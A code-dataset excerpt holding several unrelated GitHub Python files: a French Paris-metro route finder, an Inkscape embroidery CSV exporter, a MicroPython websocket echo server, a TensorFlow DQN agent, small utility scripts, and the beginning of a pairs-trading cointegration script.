(Graph): graphe du métro parisien\n \"\"\"\n graph = Graph()\n with open('metro.txt', 'r') as f:\n while 1:\n line = f.readline()\n if line == '':\n break\n line = line[:-1]\n if line[0] == 'V':\n line = line.split(\" \", 2)\n vertex, vertex_name = int(line[1]), line[2]\n graph.add_node(vertex, vertex_name)\n if line[0] == 'E':\n line = line.split(\" \", 3)\n vertex1, vertex2, weight = [\n int(element) for element in line[1:]]\n graph.add_edge(vertex1, vertex2, weight)\n graph.add_edge(vertex2, vertex1, weight)\n return graph\n\n\ndef get_metro_lines(graph: Graph) -> List[Sequence[Mapping[int, Node]]]:\n \"\"\"\n Crée des lignes de métro d'après un graphe en faisant un parcours en profondeur\n --------- \n Paramètre:\n ---------\n graph (Graph): graphe représentant un réseau métro\n\n Retourne:\n ---------\n lines (List): liste des stations de métro composant la ligne de métro\n \"\"\"\n for vertex in graph:\n vertex.color = \"white\"\n lines = []\n for vertex in graph:\n stations_ligne = {}\n terminus = {}\n if vertex.color == \"white\":\n stations_ligne, terminus = pp(\n graph, vertex, stations_ligne, terminus)\n lines.append([stations_ligne, terminus])\n return lines\n\n\ndef pp(graph: Graph, vertex: Node, stations_ligne: Mapping[int, Node], terminus: Mapping[int, Node]):\n \"\"\"\n pp : Parcours en profondeur.\n Permets de faire le parcours en profondeur d'un graphe.\n --------- \n Paramètre:\n ---------\n graph (Graph): graphe qui représente un réseau métro.\n vertex (Node): station de métro.\n stations_ligne (Mapping[int, Node]): les identifiants et l'adresse de toutes les stations de la ligne.\n terminus (Mapping[int, Node]): identifiants et adresses de tous les terminus de la ligne après le traitement.\n Retourne:\n --------\n stations_ligne (Mapping[int, Node]): identifiants et adresses de toutes les stations de la ligne après le traitement.\n terminus (Mapping[int, Node]): identifiants et adresses de tous les terminus de la ligne après le traitement.\n \"\"\"\n stations_ligne[vertex.id] = vertex\n vertex.color = \"black\"\n\n counter = 0\n liste_connected = {}\n for vertex_successor in vertex:\n if vertex_successor.name != vertex.name:\n counter += 1\n liste_connected[vertex.id] = vertex\n if counter == 1:\n terminus.update(liste_connected)\n for vertex_successor in vertex:\n if vertex_successor.color == \"white\" and vertex_successor.name != vertex.name:\n pp(graph, vertex_successor, stations_ligne, terminus)\n return stations_ligne, terminus\n\n\ndef bfs(graph: Graph, node: Node) -> None:\n \"\"\"\n bfs : Parcours en largeur.\n marque la couleur du noeud en noir si il existe une liaison possible en partant de la station de départ.\n ---------\n Paramètre:\n ---------\n graph (Graph): graphe qui représente un réseau métro.\n node (Node): station de métro.\n Retourne:\n --------\n None\n \"\"\"\n for vertex in graph:\n vertex.set_color(\"white\")\n if node.get_id() not in graph:\n raise Exception(\"Node not exist in graph\")\n node.set_predecessor(None)\n vertQueue = Queue()\n vertQueue.put(node)\n while (not vertQueue.empty()):\n currentVert = vertQueue.get()\n for nbr in currentVert:\n if (nbr.get_color() == 'white'):\n nbr.set_color('gray')\n nbr.set_predecessor(currentVert)\n vertQueue.put(nbr)\n currentVert.set_color('black')\n\n\ndef is_connexe(graph: Graph) -> bool:\n \"\"\"\n Retourner si un graphe est connexe (marche que dans le cas non orienté)\n ---------\n Paramètre:\n ---------\n graph (Graph): graphe qui représente un réseau métro.\n Retourne:\n --------\n retourne True si le graphe est connexe et False sinon\n \"\"\"\n bfs(graph, graph.get_node(0))\n for vertex in graph:\n if vertex.color != \"black\":\n return False\n return True\n\n\ndef dijkstra(graph: Graph, start_node: int):\n \"\"\"\n L'implémentation de l'algorithme de Dijkstra permettant de trouver le plus court chemin d'un point aux tous les autres points.\n ---------\n Paramètre:\n ---------\n graph (Graph): graphe qui représente un réseau métro.\n start_node (int): identifiant unique d'une station\n Retourne:\n --------\n retourne True si le graphe est connexe et False sinon\n\n \"\"\"\n dico = {node.get_id(): float('inf') for node in graph}\n dico[start_node] = 0\n\n nodes_visited = []\n\n pq = PriorityQueue()\n pq.put((0, start_node))\n\n while not pq.empty():\n (_, current_vertex) = pq.get()\n nodes_visited.append(current_vertex)\n\n current_vertex = graph.get_node(current_vertex)\n for neighbor in current_vertex:\n distance = Edge.get_weight_of_nodes(current_vertex, neighbor)\n if neighbor.get_id() not in nodes_visited:\n old_cost = dico[neighbor.get_id()]\n new_cost = dico[current_vertex.get_id()] + distance\n if new_cost < old_cost:\n pq.put((new_cost, neighbor.get_id()))\n dico[neighbor.get_id()] = new_cost\n neighbor.set_predecessor(current_vertex)\n return dico\n\n\ndef find_shortest_path(graph: Graph, start_node: int, destination: int):\n \"\"\"\n En récupérant le dictionnaire retourné par l'algorithme de Dijkstra avec start_node, trouver le plus chemin pour aller de la destination en remontant dans le prédécesseur de la destination\n ---------\n Paramètre:\n ---------\n graph (Graph): graphe qui représente un réseau métro.\n start_node (int): identifiant unique de la station de départ\n destionation (int): identifiant unique de la station d'arrivée\n Retourne:\n --------\n liste (List[int]): liste des sommets passant pour aller du sommet de départ au sommet d'arrivée\n total_second: nombre total de seconde pour aller du sommet de départ au sommet d'arrivée\n\n \"\"\"\n dico = dijkstra(graph, start_node)\n total_second = dico[destination]\n liste = [destination]\n\n while graph.get_node(destination).get_predecessor():\n destination = graph.get_node(destination).get_predecessor().get_id()\n liste = [destination] + liste\n\n return liste, total_second\n\n\ndef initialize_metro_lines(graph: Graph) -> List[Line]:\n \"\"\"\n Instancie les lignes de métro en faisant appel à la fonction get_metro_lines(graph)\n ---------\n Paramètre:\n ---------\n graph (Graph): graphe qui représente un réseau métro.\n Retourne:\n --------\n (List[Line]) retourner les adresses de tous les lignes de métro dans le graphe\n\n \"\"\"\n lines_info = [\n (\"12\", \"#007852\"),\n (\"2\", \"#003CA6\"),\n (\"9\", \"#B6BD00\"),\n (\"4\", \"#CF009E\"),\n (\"3\", \"#837902\"),\n (\"1\", \"#FFCD00\"),\n (\"11\", \"#704B1C\"),\n (\"7\", \"#FA9ABA\"),\n (\"10\", \"#C9910D\"),\n (\"13\", \"#6EC4E8\"),\n (\"5\", \"#FF7E2E\"),\n (\"8\", \"#E19BDF\"),\n (\"6\", \"#6ECA97\"),\n (\"14\", \"#62259D\"),\n (\"7b\", \"#6ECA97\"),\n (\"3b\", \"#6EC4E8\")\n ]\n metro_lines = get_metro_lines(graph)\n for index in range(len(lines_info)):\n line = Line(*lines_info[index])\n line_stations, terminus_list = metro_lines[index]\n for station in line_stations:\n line.add_node(station, line_stations[station])\n for terminus in terminus_list:\n line.add_terminus(terminus, terminus_list[terminus])\n # à ajouter le terminus pour une ligne de métro\n find_direction()\n return Line.get_line_list()\n\n\ndef find_direction() -> NoReturn:\n \"\"\"\n Pour toutes les liaisons entre deux stations des lignes de métro, trouver la direction de cette liaison, c'est-à-dire le terminus de cette liaison.\n \"\"\"\n q = Queue()\n for line in Line.get_line_nodes():\n for terminus in line.get_terminus_nodes():\n q.put(terminus)\n marked = [terminus]\n while not q.empty():\n station = q.get()\n for successeur in station:\n if successeur.name != station.name and successeur not in marked:\n q.put(successeur)\n marked.append(successeur)\n edge = Edge.get_connection_between_nodes(\n successeur, station)\n edge.add_direction(terminus.name)\n\n\ndef ask_line_number(msg_ask_line: str) -> str:\n \"\"\"\n Demande à l'utilisateur de rentrer une ligne de métro valable. Si les données ne sont pas valables, redemande jusqu'à ce soit valable.\n ---------\n Paramètre:\n ---------\n msk_ask_line (str): le message à afficher\n Retourne:\n --------\n retourner le numéro de la ligne \n\n \"\"\"\n line_number = input(msg_ask_line)\n if line_number in Line.get_line_number():\n return line_number\n clear()\n print(\"Votre saisir n'est pas bon.\")\n print(\"Les choix suivants sont disponibles : \")\n print(list(Line.get_line_number()))\n return ask_line_number(msg_ask_line)\n\n\ndef ask_station_number(line_number: str, msg_print_line: str, msg_ask_station) -> int:\n \"\"\"\n Idem pour le numéro dans la ligne de métro.\n ---------\n Paramètre:\n ---------\n line_number: Le numéro de la ligne du métro\n msg_print_line: Le message à afficher\n msg_ask_station : Le message à afficher\n Retourne:\n --------\n retourner le numéro de la ligne\n\n \"\"\"\n\n clear()\n print(\n f\"{msg_print_line} {line_number} qui ont pour les stations suivantes : \")\n list_station = []\n line = Line.get_line_stations(line_number)\n for station in line:\n list_station.append((station.get_id(), station.get_name()))\n list_station.sort()\n for station in list_station:\n station_id, station_name = station\n print(f\"{station_id} : {station_name}\")\n\n station_number = input(msg_ask_station)\n try:\n station_number = int(station_number)\n except:\n clear()\n print(\"Veuillez sélectionner un nombre...\")\n time.sleep(1)\n return ask_station_number(line_number, msg_print_line, msg_ask_station)\n else:\n if line.get_node(station_number):\n return station_number\n clear()\n print(\"Veillez sélectionner un numéro de station valable...\")\n time.sleep(1)\n return ask_station_number(line_number, msg_print_line, msg_ask_station)\n\n\ndef get_station(message: str) -> int:\n \"\"\"\n Obtenir une station de métro valable\n ---------\n Paramètre:\n ---------\n message(str) : message à afficher\n Retourne:\n --------\n (int) : retourne le numéro d'une station qui existe dans le graphe\n\n \"\"\"\n clear()\n if message == \"départ\":\n msg_ask_line = \"Sur quel ligne de métro êtes-vous actuellement?\\n\"\n msg_print_line = \"Vous êtes actuellement à la ligne\"\n msg_ask_station = \"Dans quel station êtes-vous ? (Veuillez sélectionner un numéro)\\n\"\n else:\n msg_ask_line = \"Sur quel ligne de métro se trouve votre arrêt (veuillez écrire juste le numero de la ligne) ?\\n\"\n msg_print_line = \"Vous voulez allé à la ligne\"\n msg_ask_station = \"A quel station voulez vous aller ? (Veuillez sélectionner un numéro)\\n\"\n line_number = ask_line_number(msg_ask_line)\n station_number = ask_station_number(\n line_number, msg_print_line, msg_ask_station)\n\n return station_number\n\n\ndef describe_trajet(graph: Graph, trajet: List[int], total_second: int) -> NoReturn:\n \"\"\"\n décrire le trajet pour le plus court chemin\n --------- \n Paramètre:\n --------- \n graph (Graph): graphe qui représente un réseau métro\n liste (List[int]): liste des sommets passant pour aller du sommet de départ au sommet d'arrivée\n total_second: nombre total de seconde pour aller du sommet de départ au sommet d'arrivée\n\n Retourne:\n ---------\n None\n \"\"\"\n while len(trajet) > 1 and graph.get_node(trajet[0]).get_name() == graph.get_node(trajet[1]).get_name():\n trajet = trajet[1:]\n print(f\"Vous êtes à {graph.get_node(trajet[0]).get_name()}.\")\n line = graph.get_node(trajet[0]).get_line()\n first_phrase = True\n station_name = graph.get_node(trajet[0]).get_name()\n for i in range(2, len(trajet)-1):\n if trajet[i] not in Line.get_line_stations(line):\n edge = Edge.get_connection_between_nodes(\n graph.get_node(trajet[i-2]), graph.get_node(trajet[i-1]))\n\n station_line = graph.get_node(trajet[i-2]).get_line()\n list_directions = \"/\".join(edge.get_direction())\n if first_phrase:\n first_phrase = False\n print(\"Prenez la ligne %s direction %s.\" %\n (station_line, list_directions))\n station_name = graph.get_node(trajet[i]).get_name()\n else:\n print(\"A %s, changez et prenez la ligne %s direction %s.\" %\n (station_name, station_line, list_directions))\n station_name = graph.get_node(trajet[i]).get_name()\n line = graph.get_node(trajet[i]).get_line()\n if len(trajet) > 1:\n edge = Edge.get_connection_between_nodes(\n graph.get_node(trajet[-2]), graph.get_node(trajet[-1]))\n station_line = graph.get_node(trajet[i-2]).get_line()\n list_directions = \"/\".join(edge.get_direction())\n print(\"A %s, changez et prenez la ligne %s direction %s.\" %\n (station_name, station_line, list_directions))\n\n if total_second % 60:\n second = \" et %s seconde\" % (\n total_second % 60) + \"s\" if total_second % 60 > 0 else \"\" + \".\"\n else:\n second = \"\"\n print(\"Vous devriez arriver à %s dans %s minutes%s\" %\n (graph.get_node(trajet[-1]).get_name(), total_second//60, second))\n\n\ndef clear():\n \"\"\"\n efface les contenus sur le terminal\n \"\"\"\n # for windows\n if name == 'nt':\n _ = system('cls')\n # for mac and linux(here, os.name is 'posix')\n else:\n _ = system('clear')\n\n\nif __name__ == \"__main__\":\n metro_parisien = init()\n # print(is_connexe(metro_parisien))\n lines = initialize_metro_lines(metro_parisien)\n depart = get_station(\"départ\")\n arrivee = get_station(\"arrivée\")\n trajet, total_second = find_shortest_path(metro_parisien, depart, arrivee)\n clear()\n describe_trajet(metro_parisien, trajet, total_second)\n","repo_name":"AaaronSU/metro_parisien","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15775,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"28120491142","text":"#!/usr/bin/env python\n\n#-MetaData---------------------------------------------------------------------\n__doc__ = \"\"\"\nNOTE:\n This is a quick hack I made in a few hours.\n It is not complete but may be useful to Inkscape users.\n It needs to use libembroidery python bindings rather than what is\n happening here. That being said, it should be possible to run the\n resulting csv file through libembroidery-convert in the meantime\n or open it in Embroidermodder 2 for further editing.\n\"\"\"\n\n#__version__ = 0.0.1 #TODO: Fix this, it causes error in Inkscape\n__authors__ = ['Jonathan Greig']\n\n# TODO List:\n# 001. Documentation, docstrings.\n# 002. PEP8, Optimize, Readability, etc.\n\n#-Imports----------------------------------------------------------------------\n#--Python Imports.\nimport re\n\n#--Inkscape Imports.\n# http://wiki.inkscape.org/wiki/index.php/Python_modules_for_extensions\nimport cspsubdiv\nimport cubicsuperpath\nimport inkex\nimport simplepath\nimport simpletransform\n\n#--Local Imports.\nimport embroidermodder2_csv_comments\n\n\n#-Globals----------------------------------------------------------------------\n# _protected globals against dummies who will likely write quick hacks\n# that involve \"from module import *\"\n_COMMENT_HEADER = embroidermodder2_csv_comments.comment_header\n_COMMENT_VARIABLES = embroidermodder2_csv_comments.comment_variables\n_COMMENT_THREADS = embroidermodder2_csv_comments.comment_threads\n_COMMENT_STITCHES = embroidermodder2_csv_comments.comment_stitches\n\n\nclass Embroidermodder2_CSV_Output(inkex.Effect):\n \"\"\"\"\"\"\n def __init__(self):\n \"\"\"Default class constructor.\"\"\"\n inkex.Effect.__init__(self)\n self.outStr = str('')\n self.flatness = float(0.1)\n\n def output(self):\n \"\"\"Method override for inkex.Effect class.\n\n print the output string.\n \"\"\"\n print(self.outStr)\n\n def csv_append_comment(self, strng):\n \"\"\"\"\"\"\n self.outStr = self.outStr + str(strng)\n\n def csv_append_thread(self):\n \"\"\"\"\"\"\n self.outStr = self.outStr + str(\n \"\\\"$\\\",\\\"\" +\n \"1\" +\n \"\\\",\\\"\" +\n \"0\" +\n \"\\\",\\\"\" +\n \"0\" +\n \"\\\",\\\"\" +\n \"0\" +\n \"\\\",\\\"\" +\n \"TODO\" +\n \"\\\",\\\"\" +\n \"TODO\" +\n \"\\\"\\n\"\n )\n\n def csv_append_jump(self, x, y):\n \"\"\"\n Append JUMP string manipulation onto the output string.\n\n ExampleAppend: \"*\",\"JUMP\",\"x\",\"y\"\n\n :param `x`: int or float\n :param `y`: int or float\n \"\"\"\n self.outStr = self.outStr + str(\n \"\\\"*\\\",\\\"\" +\n \"JUMP\" +\n \"\\\",\\\"\" +\n str(x) +\n \"\\\",\\\"\" +\n str(y) +\n \"\\\"\\n\"\n )\n\n def csv_append_trim(self, x, y):\n \"\"\"\n Append TRIM string manipulation onto the output string.\n\n ExampleAppend: \"*\",\"TRIM\",\"x\",\"y\"\n\n :param `x`: int or float\n :param `y`: int or float\n \"\"\"\n self.outStr = self.outStr + str(\n \"\\\"*\\\",\\\"\" +\n \"TRIM\" +\n \"\\\",\\\"\" +\n str(x) +\n \"\\\",\\\"\" +\n str(y) +\n \"\\\"\\n\"\n )\n\n def csv_append_stitch(self, x, y):\n \"\"\"\n Append STITCH string manipulation onto the output string.\n\n ExampleAppend: \"*\",\"STITCH\",\"x\",\"y\"\n\n :param `x`: int or float\n :param `y`: int or float\n \"\"\"\n self.outStr = self.outStr + str(\n \"\\\"*\\\",\\\"\" +\n \"STITCH\" +\n \"\\\",\\\"\" +\n str(x) +\n \"\\\",\\\"\" +\n str(y) +\n \"\\\"\\n\"\n )\n\n def csv_append_end(self, x, y):\n \"\"\"\n Append END string manipulation onto the output string.\n\n ExampleAppend: \"*\",\"END\",\"x\",\"y\"\n\n :param `x`: int or float\n :param `y`: int or float\n \"\"\"\n self.outStr = self.outStr + str(\n \"\\\"*\\\",\\\"\" +\n \"END\" +\n \"\\\",\\\"\" +\n str(x) +\n \"\\\",\\\"\" +\n str(y) +\n \"\\\"\\n\"\n )\n\n def csv_path_to_stitches(self, pth):\n \"\"\"\"\"\"\n f = self.flatness\n cspsubdiv.cspsubdiv(pth, f)\n\n for subPath in pth:\n for i in range(len(subPath)):\n s = subPath[i]\n if not i:\n self.csv_append_jump(s[0][0], s[0][1])\n self.csv_append_stitch(s[0][0], s[0][1])\n\n def effect(self):\n \"\"\"Method override for inkex.Effect class.\"\"\"\n self.csv_append_comment(_COMMENT_HEADER)\n self.csv_append_thread()\n\n ## path = '//svg:path'\n ## for node in self.document.getroot().xpath(path, namespaces=inkex.NSS):\n ## d = node.get('d')\n ## p = cubicsuperpath.parsePath(d)\n ## self.csv_path_to_stitches(p)\n # Optimized generator from commented code above.\n localMeth = self.csv_path_to_stitches\n localInkscapeFunc = cubicsuperpath.parsePath\n [localMeth(localInkscapeFunc(node.get('d')))\n for node in self.document.getroot().xpath('//svg:path',\n namespaces=inkex.NSS)]\n\n\nif __name__ == '__main__': #pragma: no cover\n # print out a basic run header.\n ## print('')\n ## runningFromMainStr = 'Embroidermodder2_CSV_Output' + ' ' + str(__version__)\n ## print(runningFromMainStr)\n ## print('=' * len(runningFromMainStr))\n\n # Ok, lets run the program!\n e = Embroidermodder2_CSV_Output()\n e.affect()\n\n # ... and add an extra empty line for readability between multiple runs.\n ## print('')\n","repo_name":"mamahonk/embroidery","sub_path":"experimental/inkscape/embroidermodder2_csv_output.py","file_name":"embroidermodder2_csv_output.py","file_ext":"py","file_size_in_byte":5676,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"72065649334","text":"from websocket.ws_connection import ClientClosedError\nfrom websocket.ws_server import WebSocketServer, WebSocketClient\n\n\nclass BasicClient(WebSocketClient):\n def __init__(self, conn):\n super().__init__(conn)\n\n def process(self):\n try:\n msg = self.connection.read()\n if not msg:\n return\n msg = msg.decode(\"utf-8\")\n print(msg)\n self.connection.write(msg)\n except ClientClosedError:\n self.connection.close()\n\n\nclass BasicServer(WebSocketServer):\n def __init__(self):\n super().__init__(\"test.html\", 2)\n\n def _make_client(self, conn):\n return BasicClient(conn)\n\n def broadcast(self, msg):\n for client in self._clients:\n client.connection.write(msg)\n\n\ndef test():\n server = BasicServer()\n server.start()\n try:\n while True:\n server.process_all()\n except KeyboardInterrupt:\n pass\n server.stop()\n","repo_name":"JamesTev/EEG-decoding","sub_path":"micropython/lib/websockets.py","file_name":"websockets.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"21"} +{"seq_id":"150887968","text":"import tensorflow as tf\nimport numpy as np\n\nclass ReplayMemory():\n\n def __init__(self, max_size=100000):\n self.buffer = deque(maxlen=max_size)\n\n def add(self, experience):\n self.buffer.append(experience)\n\n def sample(self, batch_size):\n buffer_size = len(self.buffer)\n index = np.random.choice(np.arange(buffer_size),\n size=batch_size,\n replace=False)\n\n return [self.buffer[i] for i in index]\n\n\nclass DQN():\n \"\"\"docstring for DQN\"\"\"\n def __init__(self, N_ACTIONS,N_STATES):\n # Hyper Parameters\n self.BATCH_SIZE = 32\n self.LR = 0.01 # learning rate\n self.Start_EPSILON = 0.9 # greedy policy\n self.Stop_EPSILON = 0.1\n self.GAMMA = 0.9 # reward discount\n self.Decay_rate = 0.01\n self.TARGET_REPLACE_ITER = 100 # target update frequency\n self.MEMORY_CAPACITY = 100\n self.MEMORY_COUNTER = 0 \n self.N_STATES = N_STATES # for store experience\n self.N_ACTIONS = N_ACTIONS\n self.LEARNING_STEP_COUNTER = 0 # for target updating self.N_STATES = self.env.observation_space.shape[0]\n self.MEMORY = np.zeros((self.MEMORY_CAPACITY, self.N_STATES * 2 + 2)) # initialize memory\n\n\n self.Network = self._init_NN_DeepQ()\n\n def _init_NN_DeepQ(self):\n # tf placeholders\n # only occuply the memeory\n self.tf_s = tf.placeholder(tf.float32, [None, self.N_STATES])\n self.tf_a = tf.placeholder(tf.int32, [None, ])\n self.tf_r = tf.placeholder(tf.float32, [None, ])\n self.tf_s_ = tf.placeholder(tf.float32, [None, self.N_STATES])\n \n with tf.variable_scope('q'): # evaluation network with 2 layers\n # dense layer ; tf_s is the input data (state), output (q) is the value for different actions(2)\n l_eval = tf.layers.dense(self.tf_s, 10, tf.nn.relu, kernel_initializer=tf.random_normal_initializer(0, 0.1),name=\"fc1\")\n self.q = tf.layers.dense(l_eval, self.N_ACTIONS, kernel_initializer=tf.random_normal_initializer(0, 0.1),name=\"fc2\")\n\n with tf.variable_scope('q_next'): # target network, not to train\n l_target = tf.layers.dense(self.tf_s_, 10, tf.nn.relu, trainable=False)\n q_next = tf.layers.dense(l_target, self.N_ACTIONS, trainable=False) # (32 , 2)\n\n q_target = self.tf_r + self.GAMMA * tf.reduce_max(q_next, axis=1) # shape=(None, ),\n\n # the output q has the dimension of 32 4, but we only need the q value of the token action.\n # a_indices action with indices\n a_indices = tf.stack([tf.range(tf.shape(self.tf_a)[0], dtype=tf.int32), self.tf_a], axis=1)\n q_wrt_a = tf.gather_nd(params=self.q, indices=a_indices) # shape=(None, ), q for current state\n\n # the q_value of a state should be the value, this value are consist of two parts,\n # one is the reward get from the env from the current state and the token action,\n # another is the maximal q_value of the next state S_\n loss = tf.reduce_mean(tf.squared_difference(q_target, q_wrt_a)) \n self.train_op = tf.train.AdamOptimizer(self.LR).minimize(loss)\n\n self.sess = tf.Session()\n self.sess.run(tf.global_variables_initializer())\n\n def _init_CNN_DeepQ(self, state_size, action_size, learning_rate):\n # inputs_: [None, 84, 84, 4]\n self.inputs_ = tf.placeholder(tf.float32,\n [None, state_size], name=\"inputs\")\n self.actions_ = tf.placeholder(\n tf.float32, [None, 3], name=\"actions\")\n self.target_Q = tf.placeholder(tf.float32, [None], name=\"target\")\n\n with tf.variable_scope('q'):\n # Input: 84x84x4\n self.conv1 = tf.layers.conv2d(\n inputs=self.inputs_,\n filters=32,\n kernel_size=[8, 8],\n strides=[4, 4],\n padding=\"VALID\",\n kernel_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n name=\"conv1\")\n\n self.conv1_batchnorm = tf.layers.batch_normalization(\n self.conv1,\n training=True,\n epsilon=1e-5,\n name='batch_norm1')\n\n self.conv1_out = tf.nn.elu(self.conv1_batchnorm, name=\"conv1_out\")\n # --> [20, 20, 32]\n\n \"\"\"\n Second convnet:\n CNN\n BatchNormalization\n ELU\n \"\"\"\n self.conv2 = tf.layers.conv2d(\n inputs=self.conv1_out,\n filters=64,\n kernel_size=[4, 4],\n strides=[2, 2],\n padding=\"VALID\",\n kernel_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n name=\"conv2\")\n\n self.conv2_batchnorm = tf.layers.batch_normalization(\n self.conv2,\n training=True,\n epsilon=1e-5,\n name='batch_norm2')\n\n self.conv2_out = tf.nn.elu(self.conv2_batchnorm, name=\"conv2_out\")\n # --> [9, 9, 64]\n\n \"\"\"\n Third convnet:\n CNN\n BatchNormalization\n ELU\n \"\"\"\n self.conv3 = tf.layers.conv2d(\n inputs=self.conv2_out,\n filters=128,\n kernel_size=[4, 4],\n strides=[2, 2],\n padding=\"VALID\",\n kernel_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n name=\"conv3\")\n\n self.conv3_batchnorm = tf.layers.batch_normalization(\n self.conv3,\n training=True,\n epsilon=1e-5,\n name='batch_norm3')\n\n self.conv3_out = tf.nn.elu(self.conv3_batchnorm, name=\"conv3_out\")\n # --> [3, 3, 128]\n\n self.flatten = tf.layers.flatten(self.conv3_out)\n # --> [1152]\n\n # FC-layer\n self.fc = tf.layers.dense(\n inputs=self.flatten,\n units=512,\n activation=tf.nn.elu,\n kernel_initializer=tf.contrib.layers.xavier_initializer(),\n name=\"fc1\")\n\n self.output = tf.layers.dense(\n inputs=self.fc,\n kernel_initializer=tf.contrib.layers.xavier_initializer(),\n units=3,\n activation=None)\n #with tf.variable_scope('q_next'):\n \t# not finish\n\n\n\n self.pred_Q = tf.reduce_sum(tf.multiply(\n self.output, self.actions_), axis=1)\n\n # Loss = Sum(Qtarget - Q)^2\n self.loss = tf.reduce_mean(tf.square(self.target_Q - self.pred_Q))\n\n self.optimizer = tf.train.RMSPropOptimizer(\n self.learning_rate).minimize(self.loss)\n\n\n def choose_action(self, s, Decay_rate_steps): # the type of s is list\n\n s = s[np.newaxis, :]\n Current_EPSILON = self.Stop_EPSILON + \\\n (self.Start_EPSILON - self.Stop_EPSILON) * \\\n np.exp(-self.Decay_rate * Decay_rate_steps)\n if np.random.uniform() < Current_EPSILON:\n # forward feed the observation and get q value for every actions\n actions_value = self.sess.run(self.q, feed_dict={self.tf_s: s})\n action = np.argmax(actions_value)\n else:\n action = np.random.randint(0, self.N_ACTIONS)\n return action\n\n\n def store_transition(self, s, a, r, s_):\n transition = np.hstack((s, [a, r], s_))\n # replace the old memory with new memory\n index = self.MEMORY_COUNTER % self.MEMORY_CAPACITY # 2000\n self.MEMORY[index, :] = transition\n self.MEMORY_COUNTER += 1\n\n\n def learn(self):\n # update target net\n # merge the target net using current net\n if self.LEARNING_STEP_COUNTER % self.TARGET_REPLACE_ITER == 0:\n t_params = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope='q_next')\n e_params = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope='q')\n self.sess.run([tf.assign(t, e) for t, e in zip(t_params, e_params)])\n self.LEARNING_STEP_COUNTER += 1\n\n # learning\n # the return is list type\n sample_index = np.random.choice(self.MEMORY_CAPACITY, self.BATCH_SIZE)\n\n b_memory = self.MEMORY[sample_index, :] # choose BATCH_SIZE examples by the sample_index, sample_indes is list type\n b_s = b_memory[:, :self.N_STATES]\n b_a = b_memory[:, self.N_STATES].astype(int)\n b_r = b_memory[:, self.N_STATES+1]\n b_s_ = b_memory[:, -self.N_STATES:]\n\n # send the 32 examples(BATCH_SIZE) to optimize\n self.sess.run(self.train_op, {self.tf_s: b_s, self.tf_a: b_a, self.tf_r: b_r, self.tf_s_: b_s_})","repo_name":"wzkwzk123/Different_ML_Algorithm","sub_path":"DQN/DQN1.py","file_name":"DQN1.py","file_ext":"py","file_size_in_byte":8909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"333068126","text":"import pandas\n\ndef clean(file_name):\n\n\n file = pandas.read_csv(file_name + '.csv', sep=',', header=None)\n res = []\n\n for i in range(len(file[2])):\n value, digit = file[2][i], file[3][i]\n if digit == 'Kbits/sec':\n res.append(str(round(value / 1000.0, 3)) + '\\n')\n else:\n res.append(str(value) + '\\n')\n # print(res)\n with open(file_name + '_clean.txt', 'w', encoding='utf-8') as writer:\n writer.writelines(res)\n\n\nclean('Ntrain(wipeQ)')\n\n","repo_name":"RemexHu/BandPre-pytorch","sub_path":"Traces/NewTraceClean.py","file_name":"NewTraceClean.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37057843808","text":"#!/usr/bin/python3\n\"\"\"\n Miami\n\"\"\"\n\n\ndef add_integer(a, b=98):\n \"\"\"\n DOES\n :param a: aaaaa\n :type a: aaa\n :param b: bbbbb\n :type b: bbbb\n \"\"\"\n if type(a) not in (int, float):\n raise TypeError(\"a must be an integer\")\n\n if type(b) not in (int, float):\n raise TypeError(\"b must be an integer\")\n return int(a) + int(b)\n\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testfile(\"tests/0-add_integer.txt\")\n","repo_name":"G-omar-H/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/0-add_integer.py","file_name":"0-add_integer.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"3986244058","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Mar 15 18:37:28 2022\r\n\r\n@author: Nathan\r\n\"\"\"\r\n\r\nimport yfinance as yf\r\nimport numpy as np\r\nimport pandas as pd\r\nimport statsmodels.api as sm\r\nimport scipy.optimize as spop\r\nimport matplotlib.pyplot as plt\r\n\r\n###specifying parameters###\r\nstocks = ['JPM', 'C']\r\nstart = '2019-12-31'\r\nend = '2021-03-08'\r\nfee = 0.001 #specify transaction cost\r\nwindow = 252 #trading window\r\n#threshhold of t value -- lower is better/more statistically significant\r\nt_threshhold = -2.5\r\n\r\ndata = pd.DataFrame()\r\nreturns = pd.DataFrame()\r\nfor stock in stocks:\r\n prices = yf.download(stock, start, end)\r\n data[stock] = prices['Close']\r\n returns[stock] = np.append(data[stock][1:].reset_index(drop=True)/data[stock][:-1].reset_index(drop=True) - 1, 0) #calculates return from each day\r\n \r\ndata \r\nreturns\r\n\r\n###initializing arrays###\r\ngross_returns = np.array([]) #start with empty numpy array\r\nnet_returns = np.array([]) #start with empty numpy array\r\nt_s = np.array([]) #start with empty numpy array. we will want to see if series is becoming more or less cointegrated \r\nstock1 = stocks[0]\r\nstock1\r\nstock2 = stocks[1]\r\nstock2\r\n\r\n#now moving through the sample:\r\nfor t in range(window, len(data)):\r\n # defining unit root funtion: stock2 = a + b*stock1\r\n def unit_root(b):\r\n a = np.average(data[stock2][t-window:t] - b*data[stock1][t-window:t]) #a is average of stock 2 over timeframe\r\n fair_value = a + b*data[stock1][t-window:t]#calc fair price of stock2 based on above function\r\n diff = np.array(fair_value - data[stock2][t - window:t])#deviation from fair value\r\n diff_diff = diff[1:] - diff[:-1]#differences in differences - ie dynamics\r\n #this difference in differences will be used later to get unit root. this will allow us to calc dickey fuller t stat, compare to threshhold\r\n reg = 